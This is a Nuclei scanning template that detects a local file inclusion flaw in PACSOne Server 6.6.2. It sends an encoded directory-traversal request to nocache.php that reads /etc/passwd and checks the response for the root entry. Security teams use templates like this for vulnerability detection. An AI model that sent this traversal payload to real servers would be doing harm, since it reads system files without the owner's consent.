id: pacsone-server-lfi

info:
  name: PACSOne Server 6.6.2 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: PACSOne Server 6.6.2 is vulnerable to local file inclusion via its integrated DICOM Web Viewer.
  reference:
    - https://cxsecurity.com/issue/WLB-2018010303
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: pacsone,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/pacsone/nocache.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2f.%2fzpx%2f..%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d3ed7d10950a360d403739e82317aa40aef8b680db0ca84389ff24575519829202200b16a55e53119a7cd090bd0e29a17dcf27658eb691051127e0ac48ec88626570:922c64590222798bb761d5b6d8e72950